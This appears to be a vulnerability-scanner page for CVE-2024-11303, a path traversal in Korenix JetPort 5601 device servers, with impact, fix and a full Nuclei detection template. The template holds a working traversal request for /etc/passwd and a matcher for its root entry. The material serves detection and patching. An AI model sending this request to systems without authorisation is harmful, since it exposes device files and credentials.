Korenix JetPort 5601v3 - Path Traversal

highseverity

7.5CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

The pathname of the root directory to a Restricted Directory ('Path Traversal') vulnerability in Korenix JetPort 5601 allows Path Traversal.This issue affects JetPort 5601- through 1.2.

Impact

Unauthenticated attackers can exploit path traversal to read arbitrary files from the JetPort device server, potentially accessing sensitive configuration files and credentials for connected serial devices.

Fix

Update Korenix JetPort 5601 to a version newer than 1.2 that properly validates and sanitizes file paths to prevent directory traversal attacks.

How to confirm it

Send: GET {{BaseURL}}/%2e%2e/%2e%2e/etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2024-11303 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-11303

info:
  name: Korenix JetPort 5601v3 - Path Traversal
  author: geeknik
  severity: high
  description: |
    The pathname of the root directory to a Restricted Directory ('Path Traversal') vulnerability in Korenix JetPort 5601 allows Path Traversal.This issue affects JetPort 5601- through 1.2.
  impact: |
    Unauthenticated attackers can exploit path traversal to read arbitrary files from the JetPort device server, potentially accessing sensitive configuration files and credentials for connected serial devices.
  remediation: |
    Update Korenix JetPort 5601 to a version newer than 1.2 that properly validates and sanitizes file paths to prevent directory traversal attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11303
    - https://seclists.org/fulldisclosure/2024/Nov/8
    - https://www.korenix.com/en/about/index.aspx?kind=3
    - https://cyberdanube.com/en/en-st-polten-uas-path-traversal-in-korenix-jetport/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-11303
    cwe-id: CWE-22
    epss-score: 0.01783
    epss-percentile: 0.78468
  metadata:
    max-request: 1
    vendor: korenix
    product: jetport_5601
  tags: seclists,cve,cve2024,korenix,lfi,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from